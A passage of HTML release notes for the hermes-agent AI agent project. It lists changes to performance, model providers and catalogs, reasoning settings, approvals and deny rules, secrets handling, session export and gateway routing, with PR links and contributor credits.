<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
